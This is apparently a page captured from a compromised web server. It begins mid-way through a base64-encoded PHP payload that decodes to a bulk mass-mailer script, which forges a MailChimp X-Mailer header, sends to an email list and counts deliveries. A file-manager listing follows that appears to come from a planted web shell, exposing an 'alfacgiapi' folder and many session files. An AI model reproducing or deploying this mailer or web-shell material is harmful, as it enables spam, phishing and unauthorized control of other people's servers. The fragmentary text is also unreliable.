pbGRNaW1lTWVzc2FnZSgkZnV6emVkSHRtbCwgJHBsYWluVGV4dCwgJGF0dGFjaG1lbnRQYXRoKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIDQuIEFzc2VtYmxlIGZ1bGwgZW1haWwgKGhlYWRlcnMgKyBNSU1FIGJvZHkpCiAgICAgICAgICAgIC8vICAgIFVzZSBcclxuIGxpbmUgZW5kaW5ncyBhcyByZXF1aXJlZCBieSBTTVRQCiAgICAgICAgICAgICRmdWxsTWVzc2FnZSA9ICIiOwogICAgICAgICAgICAkZnVsbE1lc3NhZ2UgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAiRGF0ZTogIiAuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKSAuICJcclxuIjsKICAgICAgICAgICAgaWYgKHN0cmxlbigkdGhpc0Zyb21FbWFpbCkgPiA0KSAkZnVsbE1lc3NhZ2UgLj0gIkZyb206ICR0aGlzRnJvbU5hbWUgPCR0aGlzRnJvbUVtYWlsPlxyXG4iOwogICAgICAgICAgICBpZiAoc3RybGVuKCRyZXBseXRvKSA+IDQpICRmdWxsTWVzc2FnZSAuPSAiUmVwbHktVG86ICRyZXBseXRvXHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAiU3ViamVjdDogJHRoaXNTdWJqZWN0XHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAiWC1Qcmlvcml0eTogMVxyXG4iOwogICAgICAgICAgICAkZnVsbE1lc3NhZ2UgLj0gIlgtTVNNYWlsLVByaW9yaXR5OiBIaWdoXHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAiSW1wb3J0YW5jZTogSGlnaFxyXG4iOwogICAgICAgICAgICAkZnVsbE1lc3NhZ2UgLj0gIlgtTWFpbGVyOiBNYWlsQ2hpbXAgTWFpbGVyXHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAiTWVzc2FnZS1JZDogPCIgLiBtZDUoZ2VuZXJhdGVSYW5kb21BbHBoYU51bWVyaWNTdHJpbmcoMTIpIC4gJHRvKSAuICJAIiAuIChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkgPyAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSA6ICdsb2NhbGhvc3QnKSAuICI+XHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAkbWltZUJvZHk7CiAgICAgICAgICAgIC8vIEVuc3VyZSBwcm9wZXIgbGluZSBlbmRpbmdzIChhbHJlYWR5IFxyXG4pCiAgICAgICAgICAgIAogICAgICAgICAgICAvL3NlbmQKCQkJaWYobXlNYWlsKCR0aGlzRnJvbUVtYWlsLCAkdG8sICR0aGlzU3ViamVjdCwgJGZ1bGxNZXNzYWdlKSl7CgkJCQkkX1NFU1NJT05bJ2NvdW50YSddID0gKGludGVnZXIpICRfU0VTU0lPTlsnY291bnRhJ10gKyAxOwoJCQkJZWNobyAhZW1wdHkoJF9QT1NUKSA/ICI8Zm9udCBjb2xvcj1cImdyZWVuXCIgPiRjb3VudGVyIHNlbnQgdG8gJHRvPC9mb250PjwvYnI+IjonJzsKCQkJCWVjaG8gJzxzY3JpcHQ+YWRkVG9TZW50KCInLiRlbWFpbExpc3RMaW5lLiciKTt0b3AuZG9jdW1lbnQudGl0bGU9Ii4uIitkb2N1bWVudC5kb21haW4rIiA9PiAnLiRjb3VudGVyLicgc2VudCB0byAnLiR0by4nIjwvc2NyaXB0Pic7CgkJCX1lbHNlewoJCQkJZWNobyAhZW1wdHkoJF9QT1NUKSAgPyAiPGZvbnQgY29sb3I9XCJncmVlblwiID4gJGNvdW50ZXI8L2ZvbnQ+PGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4gZGVmZXJyZWQ8L2ZvbnQ+PGZvbnQgY29sb3I9XCJncmVlblwiID4gJHRvPC9mb250PjwvYnI+IjonJzsKCQkJCWVjaG8gJzxzY3JpcHQ+YWRkVG9GYWlsZWQoKTwvc2NyaXB0Pic7CgkJCQkKCQkJfQoJCQkkc3R0aW1lMyA9IG1pY3JvdGltZSh0cnVlKTsKCQkJJGRpZmYgPSAkc3R0aW1lMyAtICRzdHRpbWUyOwoJCQkvL2VjaG8gIiRkaWZmICRzdHRpbWUzICRzdHRpbWUyPGJyPiI7CgkJCWlmICgkY291bnRlciAhPSAwICYmICRjb3VudGVyICUgJHRlc3RNc2dBZnRlciA9PSAwKSB7CgkJCQkvL3NlbmQgdGVzdCBlbWFpbAoJCQkJKCR0ZXN0RW1haWw9PW51bGwpPzErMTpteU1haWwoJHRoaXNGcm9tRW1haWwsICR0ZXN0RW1haWwsICR0aGlzU3ViamVjdCwgJGZ1bGxNZXNzYWdlKTsKCQkJfQoJCQkkY291bnRlciArPSAxIDsKCQkJZWNobyAnPHNjcmlwdD5jb3VudCA9IGNvdW50ICsgMTtsb2coY291bnQpO3N0YXJ0Q2hlY2tpbmc9MTs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgICAgICAgICBvYl9mbHVzaCgpOwoJCX0KCX0KfQplY2hvICI8L2JvZHk+IjsK";

Filemanager

Name Type Size Permission Actions
alfacgiapi Folder 0755
File 0 B 0
File 0 B 0644
File 0 B 0777
sess_00aa0f18b5048c71fa0c1f4bdb2efc4d File 79.69 KB 0600
sess_04f95c946bcd8382210e5125dbadb898 File 79.69 KB 0600
sess_06a2d4e0be6543873b6bbfe60c868752 File 79.86 KB 0600
sess_06da4b1dada195ec3e378d79132deb51 File 79.69 KB 0600
sess_07f0c5909501b4a256924fb729f8b1a6 File 79.69 KB 0600
sess_0844366a026a2e73344195fb8aadcde9 File 79.69 KB 0600
sess_0bf34bfe53f1f965b991a4c2ad5e413c File 79.69 KB 0600
sess_0c3f59994f49b72f93456178c9f1c2c6 File 79.69 KB 0600
sess_0f47828179e80d76aea77b5f1edbb407 File 79.69 KB 0600
sess_107554ab9f032175fc27dbb74e125c68 File 79.69 KB 0600
sess_1566e715a3130ec3fef965bd996a35b6 File 79.69 KB 0600
sess_17698ea50ec745e7dba21101462f7ad7 File 0 B 0600
sess_18d9367e4affb73c73c2eae5894e2fd3 File 0 B 0600
sess_1970141e05b3a57b1ed5c44216ce13e0 File 0 B 0600
sess_1a66ae32ca87985cf6cbb19665596453 File 79.69 KB 0600
sess_1bd2cd430fbdb5ee8181800e2fc07517 File 79.69 KB 0600
sess_1bfcf833e73a3b8ca010c5a682bb5026 File 0 B 0600
sess_1c65e0f028f2cd01b64c6e480a5d80f9 File 79.69 KB 0600
sess_1d9043cb660bc804aed173060900723a File 0 B 0600
sess_1dbc83e007744a309e569880db1f0714 File 79.69 KB 0600
sess_1ebb069e71e8e01feb48f48dbfd72cbc File 79.86 KB 0600
sess_1f2f7b322aaa61af97ca7aa87479e6ae File 79.69 KB 0600
sess_200cd993541a58920eb4c6d49bf088cd File 79.69 KB 0600
sess_216d475d83dc6ab4ed4a79f12889d730 File 0 B 0600
sess_233f3378b6e4e87064af3839f1948104 File 0 B 0600
sess_253eafbb6d377bc0e4953b4d584b1a59 File 0 B 0600
sess_25db4d3733d3576a0717513a7c2bec4f File 79.69 KB 0600
sess_27364a1ef33df219d6489b1ea82ebf00 File 79.69 KB 0600
sess_27510a2dcf083bdc2ae6f8f2e08e0dbe File 0 B 0600
sess_2794ce59d1f498acad5f2d5473ae86cf File 79.69 KB 0600
sess_2ca7f2be401ff83321c7a3aab8abd650 File 0 B 0600
sess_2e9195c2b9dab68246a9acb6ececab3d File 0 B 0600
sess_33a1433a255018a01fc6e7048f5f2e87 File 0 B 0600
sess_34e0e6256706f7fd8151219d74807e40 File 79.69 KB 0600
sess_35caae867663035c4fe0119c83e3e7de File 79.69 KB 0600
sess_364ad30de6851c7ee2494635cf3f81fe File 79.86 KB 0600
sess_36aa709dbc2b77054e79bb08cad4f0e3 File 0 B 0600
sess_376d76575944197de6e7df55533798b0 File 0 B 0600
sess_3857356f0f5708f91ceeacecb24e2364 File 0 B 0600
sess_3bd3953962ad8236c3a84b536e8bfa41 File 0 B 0600
sess_3d763e979d52dec70aacc055307c4acf File 0 B 0600
sess_3dee85d232141bd9c9ee17dd137ba82c File 79.69 KB 0600
sess_402a174c6ea8abd2c2524e0c608388e1 File 79.69 KB 0600
sess_42d0ac2e6bb0def626755e6e2e2a42fc File 79.69 KB 0600
sess_42d3c4fff75d7297e2ba76c7eefdc54e File 79.86 KB 0600
sess_450215587f51707657c25203fd922733 File 79.69 KB 0600
sess_45d126d8e82bd0f8b8ad1651984691ef File 79.69 KB 0600
sess_45e472541faa779244217ac61f7bc0a1 File 0 B 0600
sess_47b17ecf8f244d2fac49f7dbd7101d02 File 0 B 0600
sess_4a55ca9c9c5b17c39ecb00994986ac3a File 79.69 KB 0600
sess_4c63b53f288fe4de8060c7f45f60ea1c File 0 B 0600
sess_4dbee9507511050d6fc6f63c8aaaba5d File 79.69 KB 0600
sess_4e488aea3c814bc4e32c1861aca49b9a File 79.69 KB 0600
sess_53ab409d4c8d1e80a37a56dbc369ea45 File 0 B 0600
sess_54209b082e602f5d979f6a2c17b73bb4 File 0 B 0600
sess_554d787c74299d44b3b1964de216426f File 79.69 KB 0600
sess_56697bd092552b2db99873832492119d File 79.86 KB 0600
sess_57e69396cb0466dae534c56333ca02ce File 79.69 KB 0600
sess_57f74971775fbc8d26ee214323282493 File 79.69 KB 0600
sess_5852746b98c124df6f3cc088c7d03ec5 File 79.69 KB 0600
sess_588fa9441103b27a34d4cfc6dc646891 File 79.69 KB 0600
sess_58b4933ca838956b943d8ba24ae90f10 File 79.69 KB 0600
sess_59117429c1c3bf7f0a93d565e0e76257 File 0 B 0600
sess_5a144fbc60d4582d1065e6ab03cc4ae2 File 79.86 KB 0600
sess_5b955ec9c4669340e4237a117b371ab2 File 79.86 KB 0600
sess_5d799fe70c82608caaf46b29cc566bbb File 79.69 KB 0600
sess_5e864d7021ee917aa7b517d645137690 File 79.69 KB 0600
sess_5eb1351e1c4efc93a95abcb1015b143c File 79.86 KB 0600
sess_60827b47c4fb91226cd169d2e412f894 File 79.69 KB 0600
sess_6123a2e07e37fd5ad54977f9b773bb88 File 79.69 KB 0600
sess_655e8ce21d6b471ae70894ddf3a7a84b File 79.69 KB 0600
sess_65827d6873e809dfa341c0f656ad43a9 File 0 B 0600
sess_67c8a04bb86ea3cc54dd1d0d182b23ec File 79.69 KB 0600
sess_680a7c5fae2f6ed3efa87d64e484b26f File 79.86 KB 0600
sess_687dad5c6a1ef3be9dab15f8c1bd6380 File 79.69 KB 0600
sess_68cb359afcdbc240c384a3809715db80 File 79.69 KB 0600
sess_68d165ee31886028fcbb41d524c6311d File 79.69 KB 0600
sess_696cc5e68a7ae53a1c5045ee22ccf098 File 79.69 KB 0600
sess_6ac1399c967b60b33d37687cfa52aa51 File 79.69 KB 0600
sess_6b8251a4b31bb481f306364a1406c4a0 File 79.69 KB 0600
sess_6be2ba24a43eeb30fcdf9cc59a3537db File 79.69 KB 0600
sess_6eb4c54ab46a0cb5c99d5beaa66e4a39 File 79.69 KB 0600
sess_70e90d678e61584e883cdc5adedd32a2 File 79.69 KB 0600
sess_714a34f4cc60e765ee70c156ba0b6264 File 0 B 0600
sess_75e225c55f13bb5a3477c66885e39bda File 0 B 0600
sess_761841bf5e301af27593d379b03b438f File 79.69 KB 0600
sess_77d6d009780aec5dd481477923639653 File 79.69 KB 0600
sess_78262af8245f73869afd210349a7767c File 79.69 KB 0600
sess_7a278a6fd4709cf6d5e6845ea640bec8 File 79.69 KB 0600
sess_7c780ce46cae70949e53a684ddab2ebb File 79.69 KB 0600
sess_7cb49a0b7de5a24f09d84a43ff48a53d File 79.69 KB 0600
sess_7d6d2bdd3965a4d8152c768ebc2d0d13 File 79.86 KB 0600
sess_7df46eee7fbe4a34c424990949bb535b File 79.69 KB 0600
sess_8114aec7d05d9c6dfd29ff42fc8cd42f File 79.69 KB 0600
sess_8280f4730c79470951b6a217261216fb File 79.69 KB 0600
sess_829733dccf86d9206b38df12f5948966 File 79.69 KB 0600
sess_85933d03097dfa716c0fa1156eacb1c8 File 79.69 KB 0600
sess_86de3bb65922be01be33c88b899a9513 File 79.69 KB 0600
sess_87d5548ec253931da6960d8b27607ea5 File 79.69 KB 0600
sess_8888808f389b1ee8d51a7e6039e9631f File 79.69 KB 0600
sess_8a72b6b7bd31c103e299ba5e33b0dbce File 79.69 KB 0600
sess_8a9d2b398d09c7c86951aabfcb9c41ac File 79.69 KB 0600
sess_8b9ab285dedbfe4acb85cf31a298d748 File 79.69 KB 0600
sess_8c17170b1966a84597a31bd6eacb56eb File 0 B 0600
sess_8cf34dbe9ad86dd67dee0a9afb65a387 File 79.69 KB 0600
sess_8d7dfc16a3021eb2181390d72a9be62e File 79.86 KB 0600
sess_8dcfed329cb554e55870e9368eca5e9f File 79.69 KB 0600
sess_8e957d51dd80f4825ab600a8ed418287 File 79.69 KB 0600
sess_8fbb9d5fa25d8b117a0f2970e71391e4 File 0 B 0600
sess_8fda06a11db656d6dd7a420e21378102 File 79.86 KB 0600
sess_90a3b2f0cca46b69d1a82715a7fcb9a0 File 79.69 KB 0600
sess_927f365acc21eca33846a43b2a255b38 File 79.69 KB 0600
sess_92c2ce7af50728919e6e81a02dd47caf File 79.69 KB 0600
sess_9368c108094fbdc1e1d02fb867c8ecf9 File 79.69 KB 0600
sess_93eafa990b0dc7d1ab5ca62bf428c730 File 79.69 KB 0600
sess_94abf4496751dafc6384d2034dcf0f2a File 79.69 KB 0600
sess_94ce589363788cdaad6e1ed14bd81c5e File 79.69 KB 0600
sess_94ff250d3a84139fb08ad12d9c4bf347 File 79.69 KB 0600
sess_9520e150f609e7d2070d207cbf163793 File 0 B 0600
sess_95bf10db47488175f69b95ab9b3b2851 File 79.69 KB 0600
sess_95c42f52b4377a5a9b5a992543307b3d File 79.69 KB 0600
sess_9665888b20f103df0cddfab784f8985e File 79.69 KB 0600
sess_968a6bc5c009dca34ebc9d48af9cec2a File 0 B 0600
sess_98220cdb51d1e3dfd6d6c146114b071b File 0 B 0600
sess_9851041e499bf38ce0933c1ae1aef373 File 79.69 KB 0600
sess_989c5ada7cff6ca8095d223381c9def9 File 79.69 KB 0600
sess_98f6abe5076a16fa3ce99cbc3fb9e7e8 File 0 B 0600
sess_9a427a83e43552cb678f3246635d668b File 0 B 0600
sess_9a60c6398f51b58a1853ffd53d4896fc File 79.86 KB 0600
sess_9b4c614666942d8b9d6ee1a56207741c File 79.69 KB 0600
sess_9c50e31f2abf3520b4b4de19417ea66b File 0 B 0600
sess_9da9ef2616f44103b6e0a8592db71e38 File 79.69 KB 0600
sess_9ecbdfa6e926e2e8cedb8a4f4d05cd52 File 0 B 0600
sess_a1d5b9c768d0588583d4a38f67ef81bc File 79.69 KB 0600
sess_a5d98bbb84ee9b2ba750305b9fb9bd9f File 79.69 KB 0600
sess_a68ec8ce2d3bf918f1087003f84a273e File 79.69 KB 0600
sess_a8563d4127e6992960b6de85ba1e1006 File 79.69 KB 0600
sess_aaf761d43f42276ca60dcb2a27004b02 File 79.69 KB 0600
sess_ab8cd47061f2c0d84482547216841452 File 0 B 0600
sess_ac46c668fdcd7112ee2ef7c6388ee45e File 0 B 0600
sess_b097bee09da3d4cf31a70040b0c15a3a File 79.69 KB 0600
sess_b0c135ac7c2b691af25106483c49fda2 File 79.69 KB 0600
sess_b12a028fed7380767e67f3fa60bf86fd File 79.69 KB 0600
sess_b16f0d56a015b8aaf5daee102e0facd3 File 79.69 KB 0600
sess_b1cf34dfdffe786f98f01f45c0f00b30 File 0 B 0600
sess_b22aa8004853f5e37e5ec57cc7b9bbec File 79.69 KB 0600
sess_b2ee66eb67528936c76a10869faf0281 File 79.69 KB 0600
sess_b3a420304e80c88ffb401347459601b0 File 0 B 0600
sess_b47a8ae29010cfd5b4e71b40ba65e598 File 79.86 KB 0600
sess_b60fb5f294a3ad4c787049847b24e38e File 0 B 0600
sess_b69bccdc59ab9260df06638b9e46d9ff File 79.86 KB 0600
sess_b6a3c9dc70fe6d98e292c9719bd8f28a File 0 B 0600
sess_b6c21d1a8f14742828ea4e412a0b4e94 File 79.69 KB 0600
sess_b7e425e55f562d62a6309e33a654128a File 0 B 0600
sess_b96121a7c3fc8e4621e7e86123d28142 File 79.69 KB 0600
sess_bb27a3d4be013ac0e6da08786805c4a5 File 79.86 KB 0600
sess_bc093cb8a922150a8d0177fd779bd2f6 File 79.69 KB 0600
sess_bc4bdde6465ab53a407cbd4bfac22d5a File 79.69 KB 0600
sess_be8c2fa49c50b41faec8927b7b5593ad File 79.69 KB 0600
sess_c0aab14f7afc969594716c10218c2af0 File 79.69 KB 0600
sess_c43d60fc2e1a9189beb21b3cb26f3510 File 0 B 0600
sess_c46c2bac877e3bb0ca4b9ccdc619bc16 File 79.69 KB 0600
sess_c63f2a387aa15c7981ccdd79aa557cf7 File 79.86 KB 0600
sess_c7e9f6bcf7fe0d49044592acba3eeae5 File 0 B 0600
sess_c83de7034ff5162b0800eae2f1740f69 File 79.69 KB 0600
sess_cc06dc6f255f8fc284c46ee66a504593 File 79.69 KB 0600
sess_cfade7e3f3c2b6a0a4efc255e2841816 File 79.69 KB 0600
sess_d04f8bde5f53477e2f82b6874d6ac3fc File 79.69 KB 0600
sess_d492ad2378dd5f22cf6e7be8d5fad10d File 0 B 0600
sess_d4e3c447585dc7b3f8551933bc125e55 File 79.69 KB 0600
sess_d6d4c71d4f46043fa00e55d76a2757d1 File 79.69 KB 0600
sess_d8553796869e14e59e9779a1e4906a01 File 79.69 KB 0600
sess_dd9a0cf3e15edc33c15ec1c6da4debd9 File 79.86 KB 0600
sess_df195e6e1dc663d49177a5bbb5eab9cd File 79.69 KB 0600
sess_e30c4e7f54c5b3366b8f1e09a216a0c8 File 79.86 KB 0600
sess_e7da16ea6f6a2e4cb5fda0dfb6984776 File 0 B 0600
sess_ec4216f7f164156a7cf2abc591f56310 File 0 B 0600
sess_ec6ff4c8b8a4ec0e2a7eed1cfb9aa988 File 79.86 KB 0600
sess_ed12824088c1a152a265f298758c96a0 File 79.69 KB 0600
sess_ee669a1a8cd184e8d50c49ab043d1a29 File 0 B 0600
sess_f238e5ce60a6323087624d36f39cc27e File 0 B 0600
sess_f32de84cd6a10c7f8dff879e2203e6a6 File 0 B 0600
sess_f5f455c6fde52630a2ddde1d17a5f8f8 File 79.69 KB 0600
sess_f8c54fe3f113d654ac5e84a46b8d720e File 79.69 KB 0600
sess_f990a7268c5113cfe0949048914a03bd File 79.69 KB 0600
sess_fd6fc14b2f342363cdb21efbd3cba87f File 79.69 KB 0600
sess_fd9c87d857cdac3e11bc54312ea20f33 File 79.69 KB 0600
sess_fdd5305708690b0c450a40701b6dd234 File 79.69 KB 0600
sess_fe565042bea18826b4bc1674c32f7fd9 File 0 B 0600
sess_feed6a42373216d907808492dba09813 File 79.69 KB 0600
sess_fef6b9b71aae6b672edf51a9e644dbcd File 0 B 0600
sess_ff71cb17a967ba96cc4faf9b8c72a122 File 79.69 KB 0600